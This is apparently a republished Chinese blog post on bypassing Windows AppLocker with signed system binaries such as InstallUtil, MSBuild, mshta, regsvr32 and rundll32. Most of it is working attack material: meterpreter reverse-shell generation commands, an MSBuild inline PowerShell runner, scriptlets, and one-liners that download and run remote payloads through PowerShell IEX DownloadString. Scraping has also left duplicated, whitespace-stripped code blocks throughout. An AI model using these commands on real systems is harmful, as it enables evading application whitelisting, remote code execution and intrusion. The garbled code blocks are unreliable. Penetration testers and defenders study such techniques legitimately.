apploc下载,AppLocker绕过之路
大家好,今天来为大家分享apploc下载的一些知识点,和AppLocker绕过之路的问题解析,大家要是都明白,那么可以忽略,如果不太清楚的话可以看看本篇文章,相信很大概率可以解决您的问题,接下来我们就一起来看看吧!
在提权中我们经常会遇到目标开启了Applocker的情况,本文将以https://github.com/api0cradle/UltimateAppLockerByPassList为参考,讲解Applocker的绕过技术。
这不仅仅是一个applocker的bypass文章,也是一个白名单利用文章。
(若无特殊说明,实验环境一律为windowsserver2012r2)
AppLocker即“应用程序控制策略”,是Windows7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能,我们可以使用在services中启用ApplicationIdentity,然后在localsecuritypolicy中找到ApplicationControlPolicies中看到Applocker选项。
applocker规则
默认的Applocker规则支持以下几种:
.appx并不是所有的applocker都会存在,应根据windows版本来,在win10上,创建applocker规则后会在C:\\\\Windows\\\\System32\\\\AppLocker生产相应的.applocker文件。
applocker规则条件
规则条件是用于帮助AppLocker标识要应用规则的应用的标准。三个主要规则条件为发布者、路径和文件哈希。
AppLocker默认规则
在你创建了一个applocker规则后,系统会默认询问你是否添加一条默认规则,如下图所示:
每个规则所对应的默认规则如下:
WindowsInstaller默认规则类型包括:
AppLocker规则行为
可将规则配置为使用允许或拒绝操作:
讲了那么多,我们以禁止在桌面上运行exe文件为例,创建一条规则。创建完大体如下:
bypassApplocker
Installutil.exe
InstallUtil是.NETFramework的一部分,是一个命令行程序,它使用户可以通过命令提示符快速安装和卸载应用程序。由于此实用程序是Microsoft签名的二进制文件,因此可以用来绕过AppLocker限制来运行任何.NET可执行文件。该实用程序也位于Windows文件夹内,该文件夹不会应用AppLocker策略,因为需要执行Windows文件夹的内容才能使系统正常运行。
首先我们使用WhiteListEvasion(https://github.com/khr0x40sh/WhiteListEvasion)生成一个模板
pythonInstallUtil.py--cs_filepentestlab.cs\\n--exe_file/root/Desktop/pentestlab.exe--payload\\nwindows/meterpreter/reverse_https--lhost192.168.0.103--lport443\\n
上面的命令将生成一个C#模板,其中将包含MetasploitShellCode。
将生成后的文件放到目标中使用下面的方法执行:
C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v2.0.50727\\\\InstallUtil.exe/logfile=/LogToConsole=false/U/root/payload.exe\\n
当然你也可以是先使用msf生成一个csharp的payload,然后替换模板中的shellcode,然后将cs文件传到目标机。
C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v2.0.50727\\\\csc.exe/out:exeshell.exeexeshell.cs\\n
此时我们执行我们的文件试试:
C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v2.0.50727\\\\InstallUtil.exe/logfile=/LogToConsole=false/Uexeshell.exe\\n
绕过
exploit/windows/local/applocker_bypass\\n
原理是一样的
MSBuild.exe(MicrosoftBuildEngine)是VisualStudio使用的软件构建平台。它采用XML格式的项目文件,这些文件定义了构建各种平台和配置的要求。(引用:MSDNMSBuild)
我们可以使用MSBuild通过受信任的Windows实用工具代理代码执行。.NET版本4中引入的MSBuild内联任务功能允许将C#代码插入XML项目文件中。内联任务MSBuild将编译并执行内联任务。MSBuild.exe是一个经过签名的Microsoft二进制文件,因此,以这种方式使用它时,它可以执行任意代码,并绕过配置为允许MSBuild.exe执行的应用程序白名单防护.
我们这里直接使用GreatSCT生成一个xml文件。
./GreatSCT.py--ip192.168.0.106--port4444-tbypass-pmsbuild/meterpreter/rev_tcp.py\\n
并且会给我们生成一个rc文件,我们可以使用msfconsole-r直接启动msf
当然你也可以是使用msf生成一个c#的shellcode然后使用三好学生师傅的模板加载:
https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml
除了反弹shell以外我们还可以用它来绕过powershell的限制。
<ProjectToolsVersion="4.0"xmlns="http://schemas.microsoft.com/developer/msbuild/2003">\\n<!--Thisinlinetaskexecutesc#code.-->\\n<!--C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\msbuild.exepshell.xml-->\\n<!--Author:CaseySmith,Twitter:@subTee-->\\n<!--License:BSD3-Clause-->\\n<TargetName="Hello">\\n<FragmentExample/>\\n<ClassExample/>\\n</Target>\\n<UsingTask\\nTaskName="FragmentExample"\\nTaskFactory="CodeTaskFactory"\\nAssemblyFile="C:\\\\Windows\\\\Microsoft.Net\\\\Framework\\\\v4.0.30319\\\\Microsoft.Build.Tasks.v4.0.dll">\\n<ParameterGroup/>\\n<Task>\\n<UsingNamespace="System"/>\\n<UsingNamespace="System.IO"/>\\n\\n\\n\\n\\n\\n</Task>\\n</UsingTask>\\n<UsingTask\\nTaskName="ClassExample"\\nTaskFactory="CodeTaskFactory"\\nAssemblyFile="C:\\\\Windows\\\\Microsoft.Net\\\\Framework\\\\v4.0.30319\\\\Microsoft.Build.Tasks.v4.0.dll">\\n<Task>\\n<ReferenceInclude="System.Management.Automation"/>\\n\\n");\\n\\nstringx=Console.ReadLine();\\n\\ntry\\n\\n{\\n\\nConsole.WriteLine(RunPSCommand(x));\\n\\n}\\n\\ncatch(Exceptione)\\n\\n{\\n\\nConsole.WriteLine(e.Message);\\n\\n}\\n\\n}\\n\\n\\nreturntrue;\\n\\n}\\n\\n\\n//BasedonJaredAtkinson'sAndJustinWarner'sWork\\n\\npublicstaticstringRunPSCommand(stringcmd)\\n\\n{\\n\\n//Initstuff\\n\\nRunspacerunspace=RunspaceFactory.CreateRunspace();\\n\\nrunspace.Open();\\n\\nRunspaceInvokescriptInvoker=newRunspaceInvoke(runspace);\\n\\nPipelinepipeline=runspace.CreatePipeline();\\n\\n//Addcommands\\n\\npipeline.Commands.AddScript(cmd);\\n\\n//PrepPSforstringoutputandinvoke\\n\\npipeline.Commands.Add("Out-String");\\n\\nCollectionresults=pipeline.Invoke();\\n\\nrunspace.Close();\\n\\n//Convertrecordstostrings\\n\\nStringBuilderstringBuilder=newStringBuilder();\\n\\nforeach(PSObjectobjinresults)\\n\\n{\\n\\nstringBuilder.Append(obj);\\n\\n}\\n\\nreturnstringBuilder.ToString().Trim();\\n\\n}\\n\\n\\n\\npublicstaticvoidRunPSFile(stringscript)\\n\\n{\\n\\nPowerShellps=PowerShell.Create();\\n\\nps.AddScript(script).Invoke();\\n\\n}\\n\\n\\n\\n\\n\\n}\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n]]>\\n\\n\\n\\n</Task>\\n</UsingTask>\\n</Project>\\n
原地址:https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20PowerShellCommands.xml
mshta.exe是微软Windows操作系统相关程序,英文全称MicrosoftHTMLApplication,可翻译为微软超文本标记语言应用,用于执行.HTA文件。默认已集成在环境变量中。
使用Mshta的方式有很多,我们这里使用msf的exploit/windows/misc/hta_server模块进行测试:
useexploit/windows/misc/hta_server\\nmsfexploit(windows/misc/hta_server)>setsrvhost192.168.1.109\\nmsfexploit(windows/misc/hta_server)>exploit\\n
目标机执行:
mshta.exehttp://192.168.0.106:8080/JR1gb3TO6.hta\\n
即可上线。
除了这种方法hta还可以使用cobaltstrike、Setoolkit、Magicunicorn、Empire、CactusTorch、Koadic、GreatSCT等进行上线。
除了本地文件,mshta还支持远程下载的方式执行payload,比如:
mshta.exejavascript:a=GetObject("script:https://gist.github.com/someone/something.sct").Exec();close();\\n
除了以上的方式,mshta可以用用来执行powershell:
<HTML>\\n<HEAD>\\n<scriptlanguage="VBScript">\\nSetobjShell=CreateObject("Wscript.Shell")\\nobjShell.Run"powershell-nop-execbypass-cIEX(New-ObjectNet.WebClient).DownloadString('http://ip:port/')"\\n</script>\\n</HEAD>\\n<BODY>\\n</BODY>\\n</HTML>\\n
即使applocker已经禁止powershell执行了
InfDefaultInstall.exe
InfDefaultInstall.exe是一个用来进行inf安装的工具,具有微软签名,存在路径为:
我们也可以用它来绕过一些限制。用法就是直接该文件后面跟你的inf文件即可。
https://gist.github.com/KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a
思路也和图中那样,使用shady.inf去调用远程的sct后门。
不过他的调用需要更高的权限,我在win10下运行的截图:
Mavinject.exe
Mavinject是win10上面自带的windows组件,我们可以用它来进行dll注入,并绕过部分限制。
mavinject32.exe<PID><PATHDLL>\\n
常见路径如下:
但是我本地复现的时候并没有成功注入,但是也没有什么提示,不知道具体原因是什么,版本为:10.0.15063.0(WinBuild.160101.0800)
应该是可以成功注入的,附上一张推特大佬成功的图。
MSIEXEC是Microsoft的应用程序,可用于从命令行安装或配置产品。这个其实不是很陌生的了,我之前也写过用它来进行提权的文章。我们假设可以执行msi文件,用它来绕过applocker对powershell的限制。
msfvenom-fmsi-pwindows/execCMD=powershell.exe>powershell.msi\\n
windows下执行:
msxsl.exe是一个xml的转换器,带有微软数字签名。下载地址如下:
https://www.microsoft.com/en-us/download/details.aspx?id=21714
我们使用3gstudent来尝试绕过applocker对calc的限制,
<?xmlversion="1.0"?>\\n<?xml-stylesheettype="text/xsl"href="script.xsl"?>\\n<customers>\\n<customer>\\n<name>JohnSmith</name>\\n<address>123ElmSt.</address>\\n<phone>(123)456-7890</phone>\\n</customer>\\n<customer>\\n<name>MaryJones</name>\\n<address>456OakAve.</address>\\n<phone>(156)789-0123</phone>\\n</customer>\\n</customers>\\n
script.xml:
<?xmlversion='1.0'?>\\n<xsl:stylesheetversion="1.0"\\nxmlns:xsl="http://www.w3.org/1999/XSL/Transform"\\nxmlns:msxsl="urn:schemas-microsoft-com:xslt"\\nxmlns:user="http://mycompany.com/mynamespace">\\n<msxsl:scriptlanguage="JScript"implements-prefix="user">\\nfunctionxml(nodelist){\\nvarr=newActiveXObject("WScript.Shell").Run("calc.exe");\\nreturnnodelist.nextNode().xml;\\n}\\n</msxsl:script>\\n<xsl:templatematch="/">\\n<xsl:value-ofselect="user:xml(.)"/>\\n</xsl:template>\\n</xsl:stylesheet>\\n
成功绕过:
当然也可以执行我们的shellcode,具体参考:
https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
regsvr32是Windows命令行实用程序,用于将.dll文件和ActiveX控件注册和注销到注册表中。
下面为大家演示,绕过applocker上线。
<?XMLversion="1.0"?>\\n<scriptlet>\\n<registration\\nprogid="Pentest"\\nclassid="{F0001111-0000-0000-0000-0000FEEDACDC}">\\n<scriptlanguage="JScript">\\n<![CDATA[\\nvarr=newActiveXObject("WScript.Shell").Run("cmd/kcdc:\\\\&pentestlab.exe");\\n]]>\\n</script>\\n</registration>\\n</scriptlet>\\n
varr=newActiveXObject("WScript.Shell").Run("cmd/kcdc:\\\\&pentestlab.exe");
xxxxxxxxxxbr<?XMLversion="1.0"?>br<scriptlet>br<registrationbrprogid="Pentest"brclassid="{F0001111-0000-0000-0000-0000FEEDACDC}">br<scriptlanguage="JScript">br<![CDATA[brvarr=newActiveXObject("WScript.Shell").Run("cmd/kcdc:\\\\&pentestlab.exe");br]]>br</script>br</registration>br</scriptlet>br
xxxxxxxxxxbr<?XMLversion="1.0"?>br<scriptlet>br<registrationbrprogid="Pentest"brclassid="{F0001111-0000-0000-0000-0000FEEDACDC}">br<scriptlanguage="JScript">br<![CDATA[brvarr=newActiveXObject("WScript.Shell").Run("cmd/kcdc:\\\\&pentestlab.exe");br]]>br</script>br</registration>br</scriptlet>br
各参数的含义:
除了本地执行,它还支持远程加载:
regsvr32/u/n/s/i:http://ip:port/payload.sctscrobj.dll\\n
regsvr32/u/n/s/i:http://ip:port/payload.sctscrobj.dll
xxxxxxxxxxbrregsvr32/u/n/s/i:http://ip:port/payload.sctscrobj.dllbr
xxxxxxxxxxbrregsvr32/u/n/s/i:http://ip:port/payload.sctscrobj.dllbr
sct我们使用GreatSct生成即可。
Rundll32是一个Microsoft二进制文件,可以执行DLL文件中的代码。由于此实用程序是Windows操作系统的一部分,因此可以用作绕过AppLocker规则或软件限制策略的方法
rundll32.exejavascript:"\\\\..\\\\mshtml,RunHTMLApplication";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell-nop-execbypass-cIEX(New-ObjectNet.WebClient).DownloadString('http://ip:port/');"\\n
rundll32.exejavascript:"\\\\..\\\\mshtml,RunHTMLApplication";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell-nop-execbypass-cIEX(New-ObjectNet.WebClient).DownloadString('http://ip:port/');"
xxxxxxxxxxbrrundll32.exejavascript:"\\\\..\\\\mshtml,RunHTMLApplication";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell-nop-execbypass-cIEX(New-ObjectNet.WebClient).DownloadString('http://ip:port/');"br
xxxxxxxxxxbrrundll32.exejavascript:"\\\\..\\\\mshtml,RunHTMLApplication";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell-nop-execbypass-cIEX(New-ObjectNet.WebClient).DownloadString('http://ip:port/');"br
上线:
除了远程之外,也可以本地上线:
rundll32shell32.dll,Control_RunDLLC:\\\\Users\\\\pentestlab.dll\\n
rundll32shell32.dll,Control_RunDLLC:\\\\Users\\\\pentestlab.dll
xxxxxxxxxxbrrundll32shell32.dll,Control_RunDLLC:\\\\Users\\\\pentestlab.dllbr
xxxxxxxxxxbrrundll32shell32.dll,Control_RunDLLC:\\\\Users\\\\pentestlab.dllbr
也可以用来绕过对某些软件的限制,比如弹个cmd:
前人载树、后人乘凉。感谢各位师傅的辛苦付出。看完文章,来做个实验消化一下,《.实验:.NET框架0Day漏洞(CVE-2017-8759)(合天网安实验室)》点击链接开始学习吧!
关于apploc下载的内容到此结束,希望对大家有所帮助。